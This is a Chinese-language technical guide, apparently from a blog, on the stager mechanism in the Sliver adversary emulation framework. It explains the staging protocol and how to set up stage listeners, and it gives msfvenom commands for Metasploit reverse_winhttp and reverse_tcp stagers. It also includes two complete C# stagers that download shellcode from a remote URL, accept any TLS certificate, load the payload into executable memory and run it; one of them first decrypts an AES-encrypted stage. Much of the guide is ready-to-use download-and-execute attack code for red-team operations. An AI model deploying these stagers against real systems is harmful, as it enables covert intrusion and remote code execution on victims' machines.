- 网络安全
【免费下载链接】sliver
Adversary Emulation Framework
本篇技术指南完整讲解 Sliver(Adversary Emulation Framework)中的 Stager(分阶段投递)机制:为什么需要 Stager、meterpreter staging 协议如何工作、如何用profiles new+stage-listener搭建 TCP/HTTP(S) 分阶段监听器、如何用msfvenom生成配套 stager,以及如何编写自定义 Stager(含加密/压缩 Stage 的完整 C# 示例)。读完你可以独立搭建一套「小体积首阶段 + 内存加载大体积第二阶段」的投递链路,并理解其底层实现原理。
Overview:为什么需要 Stager
Sliver 生成的 implant 体积通常在 10MB 左右(docs/sliver-docs/pages/docs/md/Stagers.md中明确指出 payload 可以达到约 10MB)。在带宽受限、文件大小受限或需要隐蔽投递的场景下,直接传输这么大的文件既不灵活也不现实。Stager 方案将投递过程拆成两个阶段:
- Stage 1(stager):一个体积很小的引导程序,负责连接 staging server、下载第二阶段的载荷并加载到内存;
- Stage 2:真正的 implant 载荷(通常是 Sliver shellcode,也可以是其他格式),由 staging server 下发。
Sliver 支持meterpreterstaging 协议,可运行于TCP和HTTP(S)之上。该协议本身非常直接:
- 先从连接上读取 Stage 2 载荷的大小(对 TCP stager 而言,即连接的前 4 个字节);
- 下载完整的 Stage 2 载荷;
- 按照第 1 步读到的大小分配内存,并把载荷写入内存执行。
搭建这套链路需要三个组成部分:
| 组成部分 | 说明 |
|---|---|
| Staging Server | 即 Sliver server,负责监听并下发 Stage 2 |
| Stage 2 载荷 | 通常是用--format shellcode生成的 Sliver shellcode |
| Stager | 由msfvenom生成,或手工编写(见后文 Custom Stagers) |
⚠️ 重要前提:部分 Staged payload 的生成依赖 Sliver server 上可用的交叉编译工具链(尤其是共享库和非本机目标)。Sliver 为大多数 Windows/Linux 目标内置了 Zig 工具链,但macOS 共享库/shellcode 构建需要额外安装 osxcross。
快速上手:基于 Profile 搭建 Staging 监听器
Sliver 通过复用Profile(配置文件)机制来实现 staging。Profile 本质上是 implant 的"蓝图",定义了可供profiles new命令复用的配置。下面的命令创建一个后续用于 staging 监听的 shellcode profile:
sliver > profiles new --mtls 192.168.122.1 --format shellcode win-shellcode [*] Saved new profile win-shellcode sliver > profiles Name Platform Command & Control Debug Format Obfuscation Limitations ==== ======== ================= ===== ====== =========== =========== win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled随后用stage-listener命令创建 staging 监听器,并把监听器与 profile 关联:
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode [*] No builds found for profile win-shellcode, generating a new one [*] Job 1 (tcp) started sliver > jobs ID Name Protocol Port == ==== ======== ==== 1 http tcp 1234 2 mtls tcp 8888执行后 Sliver 会自动为该 profile 生成 shellcode 构建([*] No builds found for profile win-shellcode, generating a new one),并注册一个 Job 供 stager 请求。
--url参数的格式约束
stage-listener的--url只接受tcp://、http://和https://三种 scheme,格式为scheme://IP:PORT。如果没有指定 PORT,会直接报错。客户端代码在 client/command/jobs/stage.go 中解析该 URL 并取出端口,任一环节缺失都会打印error parsing staging port之类的错误。
从源码看 TCP Stager 监听器的实现
从源码结构看,stage-listener命令最终通过 gRPC 调用服务端的StartTCPStagerListener(server/rpc/rpc-stager.go)。该实现会先用checkInterface()校验传入的 Host 是否绑定在真实网卡上——如果不是,则回退为绑定0.0.0.0。随后调用c2.StartTCPStagerListenerJob(server/c2/jobs.go),底层由 server/c2/tcp-stager.go 的StartTCPListener/acceptConnections/handleConnection完成:监听端口、接受连接、一次性conn.Write(data)写入整个 shellcode 后立即关闭连接。这也是 TCP stager 协议如此简单的原因——连接建立后,服务端直接把整段 Stage 2 抛给 stager。
Shellcode 格式与平台差异、调优选项
Shellcode 的生成因平台而异:
- Windowsshellcode 基于Donut生成,支持下方列出的全部 shellcode 调优参数;
- macOS(darwin/arm64)与 Linux(amd64/arm64)shellcode 目前仅支持
--shellcode-compress,其余--shellcode-*选项均为 Windows 专属。
各平台通用的 shellcode 选项(通过profiles new传入):
| 选项 | 说明 | 适用范围 |
|---|---|---|
--shellcode-encoder | 应用可选的 shellcode 编码器(参见shellcode-encoders命令) | 全部 |
--shellcode-compress | 启用/禁用 aPLib 压缩(布尔值) | Windows、macOS、Linux |
--shellcode-entropy | 1=无,2=随机名称,3=随机+加密 | 仅 Windows |
--shellcode-exitopt | 1=退出线程,2=退出进程,3=阻塞 | 仅 Windows |
--shellcode-bypass | 1=无,2=失败即中止,3=继续 | 仅 Windows |
--shellcode-headers | 1=覆盖,2=保留 | 仅 Windows |
--shellcode-thread | 将非托管 EXE 入口点作为新线程运行(布尔值) | 仅 Windows |
--shellcode-unicode | 向非托管 DLL 入口点传递 Unicode 命令行(布尔值) | 仅 Windows |
--shellcode-oep | 覆盖原始入口点(uint32,0=默认) | 仅 Windows |
Windows 调优示例:
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcodeLinux 示例(仅支持压缩):
sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcodeMetasploit:Bring Your Own Stager(自带 Stager)
注意:Sliver 的
generate stager命令已被移除,不再可用。请使用 Metasploit 的msfvenom生成 stager(或自行编写,见 Custom Stagers)。仅支持在 Windows 上使用 Metasploit stagers。
生成 HTTP(S) Stager
若要在 Sliver 中使用 Metasploit Framework 生成的 stager(通过msfconsole或msfvenom),需要给stage-listener额外传入--prepend-size标志:
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size该标志会把载荷大小以 4 字节的形式前置拼接到最终发送给 stager 的二进制数据中——这正是 Metasploitcustom类型 payload 所要求的格式。
关于
--prepend-size的一个实现细节:从源码看,客户端在 client/command/jobs/stage.go 中对tcp://scheme总是无条件 prepend 载荷大小(注释Always prepend payload size for TCP stagers);而 HTTP(S) 场景下才由用户显式指定--prepend-size。服务端对应的实现是 server/rpc/rpc-generate.go 的prependPayloadSize():将uint32(len(payload))按**小端序(LittleEndian)**写入 4 字节,再与载荷拼接。
随后用msfconsole或msfvenom生成custom类型的 stager shellcode 或二进制。以下是用msfvenom生成 HTTP stager 的示例:
msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin⚠️ 兼容性备注:目前custom/reverse_httppayload 与 Sliver shellcode 不兼容(stager 会崩溃)。请改用custom/reverse_winhttp。
根据所选 payload 类型,还可以指定额外选项(如 HTTP 代理设置)。使用msfvenom --list-options <payload>查看选项列表,或在msfconsole中执行show advanced。
生成 TCP Stager
同样使用stage-listener,但 scheme 换成tcp://:
sliver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size由于要配合 Metasploit 使用,--prepend-size仍然必需。msfvenom生成 TCP stager 的示例:
# LHOST 和 LPORT 应与 stage-listener 命令中 --url 参数保持一致 msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.binCustom Stagers:编写你自己的引导程序
编写(或使用)自定义 stager 时,尤其是走 HTTP 协议,有一个关键约束需要理解:Sliver server 只会在特定 URL 上提供 Stage 2 载荷。这是因为 HTTP staging listener 复用了常规的 HTTP listener,遵循与 HTTPS C2 文档 相同的程序化 HTTP 协议。
默认用于获取 Stage 2 载荷的文件扩展名是.woff,可以在 HTTP C2 选项中通过stager_file_ext配置项修改(该配置项在 HTTPS C2 文档 中有说明:stager_file_ext指定与 stager 关联的文件扩展名,默认.woff;stager_files则是用于 URL 中"文件名"段的字符串列表,会与stager_file_ext拼接)。
因此,如果你想实现自己的 HTTP stager 去拉取 Stage 2,需要请求形如http://SLIVER-SERVER:STAGING-PORT/whatever.woff的 URL。
从源码验证 URL 约定的处理链路:服务端在 server/c2/http.go 的
stagerHandler中处理这类请求——它从 URL 中解析 nonce,通过db.ResourceIDByValue找到对应的 resource ID,再用db.ImplantBuildByResourceID取出构建记录;只有当该构建标记为build.Stage时,才会用generate.ImplantFileFromBuild取出载荷返回给 stager。
以下是自定义 HTTP stager 的 C# 示例。注意:请按目标 CPU 架构编译 C# 代码(例如/platform:x64):
using System; using System.Net; using System.Runtime.InteropServices; namespace SliverStager { public class Stager { private static string url = "http://a.bc/test.woff"; [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public static void DownloadAndExecute() { ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; System.Net.WebClient client = new System.Net.WebClient(); byte[] shellcode = client.DownloadData(url); IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40); Marshal.Copy(shellcode, 0, addr, shellcode.Length); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } public static void Main(String[] args) { DownloadAndExecute(); } } }这段代码展示了标准的三步 stager 流程:WebClient.DownloadData拉取.woff载荷 →VirtualAlloc以MEM_COMMIT|MEM_RESERVE(0x3000)+PAGE_EXECUTE_READWRITE(0x40)分配可执行内存 →CreateThread创建线程执行。注意这里为了兼容 HTTPS 场景,回调中无条件接受了服务器证书。
Encrypted Stage:加密与压缩的 Stage 2
Sliver 在分发 Stage 时支持加密和压缩。压缩选项为zlib、gzip和deflate(level 9);加密使用AES-CBC-128——由于这种加密主要用于混淆而非强安全保护,Sliver 认为不需要更复杂的密码模式。除 AES 外,源码中还支持RC4(server/rpc/rpc-generate.go 的Encrypt函数实现了 RC4/AES 二选一:RC4 key 长度须在 1~256 字节之间,AES key 长度必须为 16 的倍数,两者不可同时使用)。
加密 Stage 的启动命令示例:
stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV参数说明:
--aes-encrypt-key:AES key,长度必须是 16 的倍数(128 位对应 16 字节);--aes-encrypt-iv:AES IV,如果未设置则默认值为0000000000000000(默认逻辑同时存在于客户端 client/command/jobs/stage.go 与服务端 server/rpc/rpc-generate.go);--compress:可选zlib/gzip/deflate(deflate9会回退到deflate,见 server/rpc/rpc-generate.go 的Compress函数);- 也可用
--rc4-encrypt-key指定 RC4 key 代替 AES。
Stage 生成完成后,AES key 与 IV 会在控制台打印出来(客户端在 client/command/jobs/stage.go 中输出AES KEY:/AES IV:/RC4 KEY:),stager 需要用同一套参数解密。注意上述示例未包含压缩。
客户端对应的加密/压缩管线实现位于 client/command/jobs/stage.go:先按compress分支执行 zlib/gzip/deflate 压缩,再执行 AES(util.PreludeEncrypt,即纯 AES,注释说明它通常用于与 Prelude 的互操作,但在这里也很有用,因为更高级的密码模式在 stager 中往往难以实现)或 RC4(util.RC4EncryptUnsafe)加密。
对应配套的 C# 解密 stager 完整示例(注意:此示例不包含压缩处理,且解密逻辑会跳过前 16 字节的 IV):
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace Sliver_stager { class Program { private static string AESKey = "D(G+KbPeShVmYq3t"; private static string AESIV = "8y/B?E(G+KbPeShV"; private static string url = "http://192.168.24.128:8443/test.woff"; [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public static void DownloadAndExecute() { ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; System.Net.WebClient client = new System.Net.WebClient(); byte[] shellcode = client.DownloadData(url); List<byte> l = new List<byte> { }; for (int i = 16; i <= shellcode.Length -1; i++) { l.Add(shellcode[i]); } byte[] actual = l.ToArray(); byte[] decrypted; decrypted = Decrypt(actual, AESKey, AESIV); IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40); Marshal.Copy(decrypted, 0, addr, decrypted.Length); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV) { byte[] key = Encoding.UTF8.GetBytes(AESKey); byte[] IV = Encoding.UTF8.GetBytes(AESIV); using (Aes aesAlg = Aes.Create()) { aesAlg.Key = key; aesAlg.IV = IV; aesAlg.Padding = PaddingMode.None; ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); using (MemoryStream memoryStream = new MemoryStream(ciphertext)) { using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write)) { cryptoStream.Write(ciphertext, 0, ciphertext.Length); return memoryStream.ToArray(); } } } } public static void Main(String[] args) { DownloadAndExecute(); } } }服务端的 Stage 生成管线(源码透视)
从源码结构看,无论是 TCP 还是 HTTP 场景,Stage 2 的生成都统一走服务端 server/rpc/rpc-generate.go 的GenerateStageRPC:
- 按 profile 名从数据库加载 implant profile(
db.ImplantProfileByName); - 加载对应的 HTTP C2 配置,并调用
generate.GenerateConfig生成构建配置; - 根据
profile.Config.Format分发到SliverExecutable/SliverSharedLibrary/SliverArchive/SliverShellcode等生成函数(shellcode 即SliverShellcode); - 若请求带
PrependSize,调用prependPayloadSize前置 4 字节小端长度; - 按需执行
Compress(zlib/gzip/deflate)与Encrypt(AES/RC4); - 通过
generate.SaveStage保存 stage 构建,并发布构建完成事件。
这条管线同时被 TCP 与 HTTP 两种 staging 监听器复用,因此无论是tcp://还是http(s)://监听,你在profiles new中配置的 shellcode 调优参数、压缩与加密选项都作用于同一套 Stage 2 生成逻辑。
限制与注意事项小结
- Metasploit stager 仅支持 Windows,且
custom/reverse_http与 Sliver shellcode 不兼容,请使用custom/reverse_winhttp; generate stager命令已移除,stager 一律由msfvenom生成或自行编写;- HTTP staging 请求必须落在
*.woff(或stager_file_ext配置的扩展名)URL 上,否则服务端无法识别为 stager 请求; - 使用 Metasploit
custompayload 时必须为stage-listener传--prepend-size; - 若在自定义 stager 中使用了
--aes-encrypt-key/--aes-encrypt-iv,请确保 key 长度为 16 的倍数,未设置 IV 时默认0000000000000000; - macOS(darwin/arm64)与 Linux 平台 shellcode 仅支持
--shellcode-compress,其余调优选项为 Windows 专属; - 交叉编译依赖:macOS 共享库/shellcode 构建需要 osxcross,其余多数 Windows/Linux 目标由 Sliver 内置的 Zig 工具链覆盖。
相关文档与源码入口
- 本文主体:Stagers.md
- HTTP C2 协议与
stager_file_ext/stager_files配置:HTTPS C2.md - 客户端
stage-listener命令实现:client/command/jobs/stage.go - 服务端 Stage 生成 RPC(压缩/加密/大小前置):server/rpc/rpc-generate.go
- TCP staging 监听器(Job 管理):server/c2/jobs.go 与 server/c2/tcp-stager.go
- 客户端 RPC 入口与网卡校验:server/rpc/rpc-stager.go
- HTTP Stager 请求处理(
.woffURL 分发):server/c2/http.go
- 网络安全
【免费下载链接】sliver
Adversary Emulation Framework
相关推荐
Sliver 实战:HTTP Payload Staging 分阶段投递,从 Profile 构建到 Stager 落地
Sliver 实战:HTTP Payload Staging 分阶段投递,从 Profile 构建到 Stager 落地 导读 在真实的对抗演练(Adversa
网络安全BYOB stager生成器原理:唯一载荷前置技术防分析
BYOB stager生成器原理:唯一载荷前置技术防分析 在网络安全研究领域,恶意代码检测与绕过始终是攻防对抗的焦点。BYOB Build Your Own B
渗透测试网络安全应用安全aws apigatewayv2 get-stage 实战指南:在 aws-cli 中查询 HTTP API 阶段配置
aws apigatewayv2 get stage 实战指南:在 aws cli 中查询 HTTP API 阶段配置 本文以 aws cli 官方示例 aws
开发工具云原生运维
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考